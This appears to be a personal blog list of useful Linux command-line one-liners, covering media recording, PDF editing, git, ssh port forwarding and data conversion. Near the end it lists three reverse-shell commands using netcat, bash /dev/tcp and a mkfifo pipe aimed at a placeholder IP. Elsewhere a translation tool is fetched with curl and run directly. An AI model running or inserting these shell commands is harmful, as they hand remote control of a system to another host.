This is just a list of snippets I find usefull and intriguing. This is not a furnished list yet. The list includes mostly bash/command-line one-liners but I don’t want it to be restricted to just that. Hopefully will be having more of these and probably also have a search functionality once there are enough in number.

Using awk, tr, to get the remote info of a git repo

This will output the (fetch) remote of a git repository and put the contents into the clipboard

git remote -v | awk '{print $2}' | head -1 | tr -d '\n' | xsel -ib

Using image magick to create single color canvas

This create a 100x100 image with the color #131313

$ convert -size 100x100 canvas:#131313 canvas.png

Finding out your RAM details

$ sudo dmidecode --type 17

Recording Audio

$ arecord -f cd > sample.wav 

It can also be piped to ffmpeg to encode it directly

$ arecord -f cd | ffmpeg -i - out.mp3

Generate random md5sums

This script will generate random md5sums and write to stdout and also write to the file md5s

$ while ; do; dd status=none count=1 bs=8 if=/dev/urandom | md5sum | \
cut -d " " -f 1 | tee -a md5s; done

Get a random number from 0-10

$ expr $RANDOM % 10

Quickly convert a CRLF ascii-file (dos format) to unix ascii

$ cat old.txt | tr -d '\015' > new.txt

Translation on cmd line

$ gawk -f <(curl -Ls git.io/translate) -- -shell 

See more: www.soimort.org/translate-shell/

Mount an MTP device

# To list the devices
$ simple-mtpfs -l 

# To mount the device labeled '1'
$ simple-mtpfs --device 1 <mount path>

Refresh pacman keys

$ sudo pacman-key --refresh-keys 

Record your screen

$ ffmpeg -video_size 1366x768 -f x11grab -i :0 rec`date +%s`.mp4

with audio:

$ ffmpeg -video_size 1366x768 -f x11grab -i :0 -f alsa -i default out.mkv

A good example of unix piping

This one liner downloads all the podcast episodes from notrelated.xyz This serves as more of an example to show the power and simplicity of piping.

$ curl -s https://notrelated.xyz/ | grep mp3 | cut -d '"' -f4 | xargs wget

More info about a file

using the -i optoin of file you can get some more info about the file like the charset, mime type, etc $ file -i file

Mount a cloud storage as filesystem

Using rclone. Will have to run rclone config initially to set it up

$ rclone remote:path /path/to/mountpoint -vv --vfs-cache-mode full mount 

-vv - Verbose --vfs-cache-mode - cache mode set to ‘full’ (see manpage)

Display and control your android device

$ scrcpy

Record your android screen

$ adb shell screenrecord /sdcard/rec.mp4 && adb pull /sdcard/rec.mp4

Playing videos on a text console (tty)

mpv has an option to specifiy a video output driver (--vo=<driver>) and one of them is drm (Direct Rendering Manager). It Uses Kernel Mode Setting to render video. It can be used if one doesn’t want to use a full-blown graphical environment.

$ mpv --vo=drm --drm-connector=1.eDP-1 file.mp4

Here ‘1’ in drm-connector is the the gpu number in case of multiple video cards. Use drm-connector=help to list the available connectors.

$ mpv --vo=gpu --gpu-context=drm --drm-connector=1.eDP-1 file.mp4

This version uses gpu acceleration.

Concatenating multiple media files using ffmpeg

A text file consisting of list of files to concatenate has to be created

file '/path/to/file1'
file '/path/to/file2'
file '/path/to/file3'

$ ffmpeg -f concat -safe 0 -i filelist.txt -c copy outputfile.<ext>

safe 0 is not required if the paths are relative

Splice a pdf

$ pdftk in.pdf cat 1-8 11-end output out.pdf

This will exclude the pages 9 and 10 from the ‘in.pdf’ and write it to out.pdf

Show a list of man pages using dmenu and select one

$ man -k . | dmenu | cut -d ' ' -f1 | xargs man

SSH Remote port forwarding

$ ssh -N -R 9000:localhost:5000 [email protected]

This forwards any requests sent on port 9000 of example.com to the localhost port of 5000. So basically you are exposing port 5000 on your localhost. The -N flag just tells ssh to not log-in to the server

The following should be enabled in /etc/ssh/sshd_conf of the ssh server (at example.com):

AllowTcpForwarding yes
GatewayPorts yes

Get information about a YT video

$ ytdl -i https://youtu.be/KaEj_qZgiKY 

ytdl comes with ‘python-pafy’ package on arch

Change pdf page size

$ pdfjam --outfile out.pdf --paper a4paper in.pdf 

Reverse Shell using netcat

$ nc -e /bin/sh 10.10.10.10 1234

Reverse Shell using Bash

$ bash -i >& /dev/tcp/10.10.10.10/1234 0>&1

you then listen for a connection on remote with nc -l 1234

Reverse Shell using /bin/sh

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > tmp/f

On remote simply connect using nc on port 1234.

This is actually documented in the man page of netcat that doesn’t have the -e/-c option.

List the authors of a git repo in descending order of number of commits

$ git log --format='%an'| sort | uniq -c | sort -nr

A Python one-liner to convert a csv to json

$ python -c 'import csv,json,sys; print(json.dumps(list(csv.DictReader(sys.stdin))))' 

Pipe into this a csv to get a json

Example:

$ curl -s imdb.com/list/ls020046354/export | python -c 'import csv,json,sys; print(json.dumps(list(csv.DictReader(sys.stdin))))'